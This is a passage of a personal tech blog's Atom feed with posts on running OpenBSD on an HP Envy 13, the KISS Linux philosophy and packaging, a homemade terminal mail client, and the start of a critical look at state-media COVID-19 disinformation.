href=&#34;#fn:move-account&#34;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;footnotes&#34;&gt;&#xA;&#xA;&lt;hr /&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li id=&#34;fn:federation-fallacy&#34;&gt;&lt;a href=&#34;https://rosenzweig.io/blog/the-federation-fallacy.html&#34; rel=&#34;nofollow&#34;&gt;https://rosenzweig.io/blog/the-federation-fallacy.html&lt;/a&gt; &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:federation-fallacy&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&#xA;&lt;li id=&#34;fn:move-account&#34;&gt;&lt;p&gt;Go to &lt;code&gt;/settings/migration&lt;/code&gt; from your instance&amp;rsquo;s web&#xA; page.&lt;/p&gt; &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:move-account&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;/div&gt;&#xA;</summary>
</entry>
<entry>
<title>OpenBSD on the HP Envy 13</title>
<updated>2020-04-17T00:00:00Z</updated>
<id>tag:icyphox.sh/,2020-04-17:blog/openbsd-hp-envy</id>
<link href="https://icyphox.sh/blog/openbsd-hp-envy"></link>
<summary type="html">&lt;h2&gt;I put a blowfish in my laptop this week&lt;/h2&gt;&#xA;&lt;p&gt;My existing KISS install broke because I thought it would be a great&#xA;idea to have &lt;a href=&#34;https://github.com/alpinelinux/apk-tools&#34; rel=&#34;nofollow&#34;&gt;apk-tools&lt;/a&gt;&#xA;alongside the &lt;code&gt;kiss&lt;/code&gt; package manager. It&amp;rsquo;s safe to say, that did not end&#xA;well&amp;mdash;especially when I installed, and then removed a package. With&#xA;a semi-broken install that I didn&amp;rsquo;t feel like fixing, I figured I&amp;rsquo;d give&#xA;OpenBSD a try. And I did.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;installation-and-setup&#34;&gt;installation and setup&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Ran into some trouble booting off the USB initially, turned out to be&#xA;a faulty stick. Those things aren&amp;rsquo;t built to last, sadly. Flashed a new&#xA;stick, booted up. Setup was pleasant, very straightforward. Didn&amp;rsquo;t&#xA;really have to intervene much.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After booting in, I was greeted with a very archaic looking FVWM&#xA;desktop. It&amp;rsquo;s not the prettiest thing, and especially annoying to work&#xA;with when you don&amp;rsquo;t have your mouse setup, i.e. no tap-to-click.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I needed wireless, and my laptop doesn&amp;rsquo;t have an Ethernet port. USB&#xA;tethering just works, but the connection kept dying. I&amp;rsquo;m not sure why.&#xA;Instead, I downloaded the &lt;a href=&#34;http://man.openbsd.org/iwm.4&#34; rel=&#34;nofollow&#34;&gt;iwm(4)&lt;/a&gt;&#xA;firmware from &lt;a href=&#34;http://firmware.openbsd.org/firmware/6.6/&#34; rel=&#34;nofollow&#34;&gt;here&lt;/a&gt;, loaded&#xA;it up on a USB stick and copied it over to &lt;code&gt;/etc/firmware&lt;/code&gt;. After that,&#xA;it was as simple as running&#xA;&lt;a href=&#34;http://man.openbsd.org/fw_update.1&#34; rel=&#34;nofollow&#34;&gt;fw_update(1)&lt;/a&gt;&#xA;and the firmware is auto-detected and loaded. In fact, if you have working&#xA;Internet, &lt;code&gt;fw_update&lt;/code&gt; will download the required firmware for you, too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Configuring wireless is painless and I&amp;rsquo;m so glad to see that there&amp;rsquo;s no&#xA;&lt;code&gt;wpa_supplicant&lt;/code&gt; horror to deal with. It&amp;rsquo;s as simple as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ doas ifconfig iwm0 nwid YOUR_SSID wpakey YOUR_PSK&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also see &lt;a href=&#34;http://man.openbsd.org/hostname.if.5&#34; rel=&#34;nofollow&#34;&gt;hostname.if(5)&lt;/a&gt; to make&#xA;this persist. After that, it&amp;rsquo;s only a matter of specifying your desired&#xA;SSID, and &lt;code&gt;ifconfig&lt;/code&gt; will automatically auth and procure an IP lease.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ doas ifconfig iwm0 nwid YOUR_SSID&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By now I was really starting to get exasperated by FVWM, and decided to&#xA;switch to something nicer. I tried building 2bwm (my previous WM), but&#xA;that failed. I didn&amp;rsquo;t bother trying to figure this out, so I figured I&amp;rsquo;d&#xA;give &lt;a href=&#34;http://man.openbsd.org/cwm.1&#34; rel=&#34;nofollow&#34;&gt;cwm(1)&lt;/a&gt; a shot. Afterall, people&#xA;sing high praises of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And boy, is it good. The config is a breeze, and actually pretty&#xA;powerful. &lt;a href=&#34;https://github.com/icyphox/dotfiles/blob/master/home/.cwmrc&#34; rel=&#34;nofollow&#34;&gt;Here&amp;rsquo;s mine&lt;/a&gt;.&#xA;cwm also has a built-in launcher, so dmenu isn&amp;rsquo;t necessary anymore.&#xA;Refer to &lt;a href=&#34;https://man.openbsd.org/cwmrc.5&#34; rel=&#34;nofollow&#34;&gt;cwmrc(5)&lt;/a&gt; for all the config&#xA;options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Touchpad was pretty simple to setup too&amp;mdash;OpenBSD has&#xA;&lt;a href=&#34;http://man.openbsd.org/wsconsctl.8&#34; rel=&#34;nofollow&#34;&gt;wsconsctl(8)&lt;/a&gt;, which lets you set&#xA;your tap-to-click, mouse acceleration etc. However, more advanced&#xA;configuration can be achieved by getting Xorg to use the Synaptics&#xA;driver. Just add a &lt;code&gt;70-synaptics.conf&lt;/code&gt; to &lt;code&gt;/etc/X11/xorg.conf.d&lt;/code&gt; (make&#xA;the dir if it doesn&amp;rsquo;t exist), containing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-conf&#34;&gt;Section &amp;quot;InputClass&amp;quot;&#xA;&#x9;Identifier &amp;quot;touchpad catchall&amp;quot;&#xA;&#x9;Driver &amp;quot;synaptics&amp;quot;&#xA;&#x9;MatchIsTouchpad &amp;quot;on&amp;quot;&#xA; Option &amp;quot;TapButton1&amp;quot; &amp;quot;1&amp;quot;&#xA; Option &amp;quot;TapButton2&amp;quot; &amp;quot;3&amp;quot;&#xA; Option &amp;quot;TapButton3&amp;quot; &amp;quot;2&amp;quot;&#xA; Option &amp;quot;VertEdgeScroll&amp;quot; &amp;quot;on&amp;quot;&#xA; Option &amp;quot;VertTwoFingerScroll&amp;quot; &amp;quot;on&amp;quot;&#xA; Option &amp;quot;HorizEdgeScroll&amp;quot; &amp;quot;on&amp;quot;&#xA; Option &amp;quot;HorizTwoFingerScroll&amp;quot; &amp;quot;on&amp;quot;&#xA;&#x9;Option &amp;quot;VertScrollDelta&amp;quot; &amp;quot;111&amp;quot;&#xA;&#x9;Option &amp;quot;HorizScrollDelta&amp;quot; &amp;quot;111&amp;quot;&#xA;EndSection&#x9;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are a lot more options that can be configured, see&#xA;&lt;a href=&#34;http://man.openbsd.org/synaptics.4&#34; rel=&#34;nofollow&#34;&gt;synaptics(4)&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suspend and hibernate just work, thanks to&#xA;&lt;a href=&#34;http://man.openbsd.org/apm.8&#34; rel=&#34;nofollow&#34;&gt;apm(8)&lt;/a&gt;. Suspend on lid-close just needs&#xA;one &lt;code&gt;sysctl&lt;/code&gt; tweak:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ sysctl machdep.lidaction=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I believe it&amp;rsquo;s set to 1 by default on some installs, but I&amp;rsquo;m not sure.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;impressions&#34;&gt;impressions&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I already really like the philosophy of OpenBSD&amp;mdash;security and&#xA;simplicity, while not losing out on sanity. The default install is&#xA;plentiful, and has just about everything you&amp;rsquo;d need to get going.&#xA;I especially enjoy how everything just works! I was pleasantly surprised&#xA;to see my brightness and volume keys work without any configuration!&#xA;It&amp;rsquo;s clear that the devs&#xA;actually dogfood OpenBSD, unlike uh, &lt;em&gt;cough&lt;/em&gt; Free- &lt;em&gt;cough&lt;/em&gt;. Gosh I hope&#xA;it&amp;rsquo;s not &lt;em&gt;the&lt;/em&gt; flu. :^)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh and did you notice all the manpage links I&amp;rsquo;ve littered throughout&#xA;this post? They have manpages for &lt;em&gt;everything&lt;/em&gt;; it&amp;rsquo;s ridiculous. And&#xA;they&amp;rsquo;re very thorough. Arch Wiki is good, but it&amp;rsquo;s incorrect at times,&#xA;or simply outdated. OpenBSD&amp;rsquo;s manpages, although catering only to&#xA;OpenBSD have never failed me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Performance and battery life are fine. Battery is in fact, identical, if&#xA;not better than on Linux. OpenBSD disables HyperThreading/SMT for&#xA;security reasons, but you can manually enable it if you wish to do so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ sysctl hw.smt=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Package management is probably the only place where OpenBSD falls short.&#xA;&lt;a href=&#34;http://man.openbsd.org/pkg_add.1&#34; rel=&#34;nofollow&#34;&gt;pkg_add(1)&lt;/a&gt; isn&amp;rsquo;t particularly fast,&#xA;considering it&amp;rsquo;s written in Perl. The ports selection is fine, I have&#xA;yet to find something that I need not on there. I also wish they&#xA;debloated packages; maybe I&amp;rsquo;ve just been spoilt by KISS. I now have&#xA;D-Bus on my system thanks to Firefox. :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I appreciate the fact that they don&amp;rsquo;t have a political document&amp;mdash;a Code&#xA;of Conduct. CoCs are awful, and have only proven to be harmful for&#xA;projects; part of the reason why I&amp;rsquo;m sick of Linux and its community.&#xA;Oh wait, OpenBSD does have one: &lt;a href=&#34;https://www.openbsd.org/mail.html&#34; rel=&#34;nofollow&#34;&gt;https://www.openbsd.org/mail.html&lt;/a&gt;&#xA;;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I&amp;rsquo;ll be exploring &lt;a href=&#34;http://man.openbsd.org/vmd.8&#34; rel=&#34;nofollow&#34;&gt;vmd(8)&lt;/a&gt; to see if I can&#xA;get a Linux environment going. Perhaps that&amp;rsquo;ll be my next post, but when&#xA;have I ever delivered?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I&amp;rsquo;ll close this post off with my new rice, and a sick ASCII art I made.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; \. -- --./ &#xA; / ^ ^ ^ \&#xA; (o)(o) ^ ^ |_/|&#xA; {} ^ ^ &amp;gt; ^| \|&#xA; \^ ^ ^ ^/&#xA; / -- --\&#xA; ~icy&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&#34;https://cdn.icyphox.sh/zDYdj.png&#34; alt=&#34;openbsd rice&#34; /&gt;&lt;/p&gt;&#xA;</summary>
</entry>
<entry>
<title>The Zen of KISS Linux</title>
<updated>2020-04-03T00:00:00Z</updated>
<id>tag:icyphox.sh/,2020-04-03:blog/kiss-zen</id>
<link href="https://icyphox.sh/blog/kiss-zen"></link>
<summary type="html">&lt;h2&gt;My thoughts on the distro, the philosophy and my experience in general&lt;/h2&gt;&#xA;&lt;p&gt;&lt;a href=&#34;/blog/five-days-tty&#34;&gt;I installed KISS&lt;/a&gt; early in January on my main&#xA;machine&amp;mdash;an HP Envy 13 (2017), and I have since noticed a lot of changes&#xA;in my workflow, my approach to software (and its development), and in&#xA;life as a whole. I wouldn&amp;rsquo;t call KISS &amp;ldquo;life changing&amp;rdquo;, as that would be&#xA;overly dramatic, but it has definitely reshaped my outlook towards&#xA;technology&amp;mdash;for better or worse.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I talk about KISS to people&amp;mdash;online or IRL&amp;mdash;I get some pretty&#xA;interesting reactions and comments.&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:bringing-up-kiss&#34;&gt;&lt;a href=&#34;#fn:bringing-up-kiss&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;&#xA;Ranging from &amp;ldquo;Oh cool.&amp;rdquo; to &amp;ldquo;You must be&#xA;retarded.&amp;rdquo;, I&amp;rsquo;ve heard it all. A classic and a personal favourite of&#xA;mine, &amp;ldquo;I don&amp;rsquo;t use meme distros because I actually get work done.&amp;rdquo; It is&#xA;actually, quite the opposite&amp;mdash;I&amp;rsquo;ve been so much more productive using&#xA;KISS than any other operating system. I&amp;rsquo;ll explain why shortly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The beauty of this &amp;ldquo;distro&amp;rdquo;, is it isn&amp;rsquo;t much of a distribution at all.&#xA;There is no big team, no mailing lists, no infrastructure. The entire&#xA;setup is so loose, and this makes it very convenient to swap things out&#xA;for alternatives. The main (and potentially community) repos all reside&#xA;locally on your system. In the event that Dylan decides to call it&#xA;quits and switches to Windows, we can simply just bump versions&#xA;ourselves, locally! The &lt;a href=&#34;https://k1ss.org/guidestones&#34; rel=&#34;nofollow&#34;&gt;KISS Guidestones&lt;/a&gt;&#xA;document is a good read.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the subseqent paragraphs, I&amp;rsquo;ve laid out the different things about&#xA;KISS that stand out to me, and make using the system a lot more&#xA;enjoyable.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;the-package-system&#34;&gt;the package system&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Packaging for KISS has been delightful, to say the least. It takes me&#xA;about 2 mins to write and publish a new package. Here&amp;rsquo;s the &lt;code&gt;radare2&lt;/code&gt;&#xA;package, which I maintain, for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;build&lt;/code&gt; file (executable):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-sh&#34;&gt;#!/bin/sh -e&#xA;&#xA;./configure \&#xA; --prefix=/usr&#xA;&#xA;make&#xA;make DESTDIR=&amp;quot;$1&amp;quot; install&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;version&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;4.3.1 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;checksums&lt;/code&gt; file (generated using &lt;code&gt;kiss checksum radare2&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;4abcb9c9dff24eab44d64d392e115ae774ab1ad90d04f2c983d96d7d7f9476aa 4.3.1.tar.gz&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And finally, the &lt;code&gt;sources&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://github.com/radareorg/radare2/archive/4.3.1.tar.gz&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is literally the bare minimum that you need to define a package.&#xA;There&amp;rsquo;s also the &lt;code&gt;depends&lt;/code&gt; file where you specify the dependencies for&#xA;your package.&#xA;&lt;code&gt;kiss&lt;/code&gt; also generates a &lt;code&gt;manifests&lt;/code&gt; file to track all the files and&#xA;directories that your package creates during installation, for their&#xA;removal, if and when that occurs. Now compare this process with any&#xA;other distribution&amp;rsquo;s.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;the-community&#34;&gt;the community&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;As far as I know, it mostly consists of the &lt;code&gt;#kisslinux&lt;/code&gt; channel on&#xA;Freenode and the &lt;a href=&#34;https://old.reddit.com/r/kisslinux&#34; rel=&#34;nofollow&#34;&gt;r/kisslinux&lt;/a&gt;&#xA;subreddit. It&amp;rsquo;s not that big, but it&amp;rsquo;s suprisingly active, and super&#xA;helpful. There have been some interested new KISS-related projects&#xA;too: &lt;a href=&#34;https://github.com/sdsddsd1/kiss-games&#34; rel=&#34;nofollow&#34;&gt;kiss-games&lt;/a&gt;&amp;mdash;a repository&#xA;for, well, Linux games; &lt;a href=&#34;https://github.com/jedavies-dev/kiss-ppc64le&#34; rel=&#34;nofollow&#34;&gt;kiss-ppc64le&lt;/a&gt;&#xA;and &lt;a href=&#34;https://github.com/jedavies-dev/kiss-aarch64&#34; rel=&#34;nofollow&#34;&gt;kiss-aarch64&lt;/a&gt;&amp;mdash;KISS&#xA;Linux ports for PowerPC and ARM64 architectures;&#xA;&lt;a href=&#34;https://github.com/wyvertux/wyvertux&#34; rel=&#34;nofollow&#34;&gt;wyvertux&lt;/a&gt;&amp;mdash;an attempt at&#xA;a GNU-free Linux distribution, using KISS as a base; and tons more.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;the-philosophy&#34;&gt;the philosophy&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Software today is far too complex. And its complexity is only growing.&#xA;Some might argue that this is inevitable, and it is in fact progress.&#xA;I disagree. Blindly adding layers and layers of abstraction (Docker,&#xA;modern web &amp;ldquo;apps&amp;rdquo;) isn&amp;rsquo;t progress. Look at the Linux desktop ecosystem&#xA;today, for example&amp;mdash;monstrosities like GNOME and KDE are a result of&#xA;this&amp;hellip;new wave software engineering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see KISS as a symbol of defiance against this malformed notion. You&#xA;don&amp;rsquo;t &lt;em&gt;need&lt;/em&gt; all the bloat these DEs ship with to have a usable system.&#xA;Agreed, it&amp;rsquo;s a bit more effort to get up and running, but it is entirely&#xA;worth it. Think of it as a clean table&amp;mdash;feels good to sit down and work on,&#xA;doesn&amp;rsquo;t it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let&amp;rsquo;s take my own experience, for example. One of the initial few&#xA;software I used to install on a new system was &lt;code&gt;dunst&lt;/code&gt;&amp;mdash;a notification&#xA;daemon. Unfortunately, it depends on D-Bus, which is Poetterware; ergo,&#xA;not on KISS. However, using a system without notifications has been very&#xA;pleasant. Nothing to distract you while you&amp;rsquo;re in the zone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another instance, again involving D-Bus (or not), is Bluetooth audio. As&#xA;it happens, my laptop&amp;rsquo;s 3.5mm jack is rekt, and I need to use Bluetooth&#xA;for audio, if at all. Sadly, Bluetooth audio on Linux hard-depends on&#xA;D-Bus. Bluetooth stacks that don&amp;rsquo;t rely on D-Bus do exist, like on Android,&#xA;but porting them over to desktop is non-trivial. However, I used this to&#xA;my advantage and decided not to consume media on my laptop. This has&#xA;drastically boosted my productivity, since I literally cannot watch&#xA;YouTube even if I wanted to. My laptop is now strictly work-only.&#xA;If I do need to watch the occasional video / listen to music, I use my&#xA;phone. Compartmentalizing work and play to separate devices has worked&#xA;out pretty well for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I&amp;rsquo;m slowly noticing myself favor low-tech (or no-tech) solutions to&#xA;simple problems too. Like notetaking&amp;mdash;I&amp;rsquo;ve tried plaintext files, Vim&#xA;Wiki, Markdown, but nothing beats actually using pen and paper. Tech,&#xA;from what I can see, doesn&amp;rsquo;t solve problems very effectively. In some&#xA;cases, it only causes more of them. I might write another post&#xA;discussing my thoughts on this in further detail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I&amp;rsquo;m not sure what I intended this post to be, but I&amp;rsquo;m pretty happy with&#xA;the mindspill. To conclude this already long monologue, let me clarify&#xA;one little thing y&amp;rsquo;all are probably thinking, &amp;ldquo;Okay man, are you&#xA;suggesting that we regress to the Dark Ages?&amp;rdquo;. No, I&amp;rsquo;m not suggesting&#xA;that we regress, but rather, progress mindfully.&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;footnotes&#34;&gt;&#xA;&#xA;&lt;hr /&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li id=&#34;fn:bringing-up-kiss&#34;&gt;&lt;p&gt;No, I don&amp;rsquo;t go &amp;ldquo;I use KISS btw&amp;rdquo;. I don&amp;rsquo;t bring it&#xA;up unless provoked.&lt;/p&gt; &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:bringing-up-kiss&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;/div&gt;&#xA;</summary>
</entry>
<entry>
<title>Introducing mael</title>
<updated>2020-03-29T00:00:00Z</updated>
<id>tag:icyphox.sh/,2020-03-29:blog/mael</id>
<link href="https://icyphox.sh/blog/mael"></link>
<summary type="html">&lt;h2&gt;An experimental mail client&lt;/h2&gt;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: The code lives here: &lt;a href=&#34;https://github.com/icyphox/mael&#34; rel=&#34;nofollow&#34;&gt;https://github.com/icyphox/mael&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I&amp;rsquo;ve been on the lookout for a good terminal-based email client since&#xA;forever, and I&amp;rsquo;ve tried almost all of them. The one I use right now&#xA;sucks a little less&amp;mdash;&lt;a href=&#34;https://git.sr.ht/~sircmpwn/aerc&#34; rel=&#34;nofollow&#34;&gt;aerc&lt;/a&gt;. I have&#xA;some gripes with it though, like the problem with outgoing emails not&#xA;getting copied to the Sent folder, and instead erroring out with&#xA;a cryptic &lt;code&gt;EOF&lt;/code&gt;&amp;mdash;that&amp;rsquo;s literally all it says.&#xA;I&amp;rsquo;ve tried mutt, but I find it a little excessive. It feels like the&#xA;weechat of email&amp;mdash;to many features that you&amp;rsquo;ll probably never use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need something clean and simple, less bloated (for the lack of&#xA;a better term). This is what motivated me to try writing my own. The&#xA;result of this (and not to mention, being holed up at home with nothing&#xA;better to do), is &lt;strong&gt;mael&lt;/strong&gt;.&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:oss&#34;&gt;&lt;a href=&#34;#fn:oss&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;mael isn&amp;rsquo;t like your usual TUI clients. I envision this to turn out&#xA;similar to mailx&amp;mdash;a prompt-based UI. The reason behind this UX decision&#xA;is simple: it&amp;rsquo;s easier for me to write. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Speaking of writing it, it&amp;rsquo;s being written in a mix of Python and bash.&#xA;Why? Because Python&amp;rsquo;s &lt;code&gt;email&lt;/code&gt; and &lt;code&gt;mailbox&lt;/code&gt; modules are fantastic, and&#xA;I don&amp;rsquo;t think I want to parse Maildirs in bash. &amp;ldquo;But why not pure&#xA;Python?&amp;rdquo; Well, I&amp;rsquo;m going to be shelling out a lot (more on this in a bit),&#xA;and writing interactive UIs in bash is a lot more intuitive, thanks to&#xA;some of the nifty features that later versions of bash have&amp;mdash;&lt;code&gt;read&lt;/code&gt;,&#xA;&lt;code&gt;mapfile&lt;/code&gt; etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason I&amp;rsquo;m shelling out is because two key components to this&#xA;client, that I haven&amp;rsquo;t yet talked about&amp;mdash;&lt;code&gt;mbsync&lt;/code&gt; and &lt;code&gt;msmtp&lt;/code&gt; are in&#xA;use, for IMAP and SMTP respectively. And &lt;code&gt;mbsync&lt;/code&gt; uses the Maildir&#xA;format, which is why I&amp;rsquo;m relying on Python&amp;rsquo;s &lt;code&gt;mailbox&lt;/code&gt; package. Why is&#xA;this in the standard library anyway?!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The architecture of the client is pretty interesting (and possibly very&#xA;stupid), but here&amp;rsquo;s what happens:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;UI and prompt stuff in bash&lt;/li&gt;&#xA;&lt;li&gt;emails are read using &lt;code&gt;less&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;email templates (RFC 2822) are parsed and generated in Python&lt;/li&gt;&#xA;&lt;li&gt;this is sent to bash in STDOUT, like&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-sh&#34;&gt;msg=&amp;quot;$(./mael-parser &amp;quot;$maildir_message_path&amp;quot;)&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These kind of one-way (bash -&amp;gt; Python) calls are what drive the entire&#xA;process. I&amp;rsquo;m not sure what to think of it. Perhaps I might just give up&#xA;and write the entire thing in Python.&#xA;Or&amp;hellip;I might just scrap this entirely and just shut up and use aerc.&#xA;I don&amp;rsquo;t know yet. The code does seem to be growing in size rapidly. It&amp;rsquo;s&#xA;about ~350 LOC in two days of writing (Python + bash). New problems&#xA;arise every now and then and it&amp;rsquo;s pretty hard to keep track of all of&#xA;this. It&amp;rsquo;ll be cool when it&amp;rsquo;s all done though (I think).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If only things just worked.&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;footnotes&#34;&gt;&#xA;&#xA;&lt;hr /&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li id=&#34;fn:oss&#34;&gt;&lt;p&gt;I have yet to open source it; this post will be updated with&#xA;a link to it when I do.&lt;/p&gt; &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:oss&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;/div&gt;&#xA;</summary>
</entry>
<entry>
<title>COVID-19 disinformation</title>
<updated>2020-03-15T00:00:00Z</updated>
<id>tag:icyphox.sh/,2020-03-15:blog/covid19-disinfo</id>
<link href="https://icyphox.sh/blog/covid19-disinfo"></link>
<summary type="html">&lt;h2&gt;A lot of actors cashing in on the epidemic&lt;/h2&gt;&#xA;&lt;p&gt;The virus spreads around the world, along with a bunch of disinformation&#xA;and potential malware / phishing campaigns. There are many actors,&#xA;pushing many narratives&amp;mdash;some similar, some different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Interestingly, the three big players in the information warfare&#xA;space&amp;mdash;Russia, Iran and China seem to be running similar stories on&#xA;their state-backed media outlets. While they all tend to lean towards&#xA;the same, fairly anti-U.S. sentiments&amp;mdash;that is, blaming the US for&#xA;weaponizing the crisis for political gain&amp;mdash;Iran and Russia&amp;rsquo;s content&#xA;come off as more&amp;hellip;conspiratorial.&#xA;In essence, they claim that the COVID-19 virus is a &amp;ldquo;bioweapon&amp;rdquo;&#xA;developed by the U.S.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Russian news agency&#xA;&lt;a href=&#34;https://twitter.com/RT_com/status/1233187558793924608&#34; rel=&#34;nofollow&#34;&gt;RT tweeted&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Show of hands, who isn&amp;rsquo;t going to be surprised if it ever gets&#xA;revealed that #coronavirus is a bioweapon?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;RT also published&#xA;&lt;a href=&#34;https://www.rt.com/usa/481485-coronavirus-russia-state-department/&#34; rel=&#34;nofollow&#34;&gt;an article&lt;/a&gt;&#xA;mocking the U.S. for concerns over Russian disinformation.&#xA;Another article by RT,&#xA;&lt;a href=&#34;https://www.rt.com/op-ed/481831-coronavirus-kill-bill-capitalism-communism/&#34; rel=&#34;nofollow&#34;&gt;an op-ed&lt;/a&gt;&#xA;suggests the virus&amp;rsquo; impact on financial markets might bring about the&#xA;reinvention of communism and the end of the global capitalist system.&#xA;Russian state-sponsored media can also be seen amplifying Iranian&#xA;conspiracy theories&amp;mdash;including the Islamic Revolutionary Guard Corps&amp;rsquo;&#xA;(IRGC) suggestion that COVID-19&#xA;&lt;a href=&#34;https://www.rt.com/news/482405-iran-coronavirus-us-biological-weapon/&#34; rel=&#34;nofollow&#34;&gt;is a U.S. bioweapon&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Iranian media outlets appear to be running stories having similar&#xA;themese, as well. Here&amp;rsquo;s one&#xA;&lt;a href=&#34;https://www.presstv.com/Detail/2020/03/05/620217/US-coronavirus-James-Henry-Fetzer&#34; rel=&#34;nofollow&#34;&gt;by PressTV&lt;/a&gt;,&#xA;where they very boldly claim that the virus was developed by&#xA;the U.S. and/or Isreal, to use as a bioweapon against Iran. Another&#xA;&lt;a href=&#34;https://www.presstv.com/Detail/2020/03/05/620213/Coronavirus-was-produced-in-a-laboratory&#34; rel=&#34;nofollow&#34;&gt;nonsensical piece&lt;/a&gt;&#xA;by PressTV suggests that&#xA;&amp;ldquo;there are components of the virus that are related to HIV that could not have occurred naturally&amp;rdquo;.&#xA;The same article pushes another theory:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;There has been some speculation that as the Trump Administration has&#xA;been constantly raising the issue of growing Chinese global&#xA;competitiveness as a 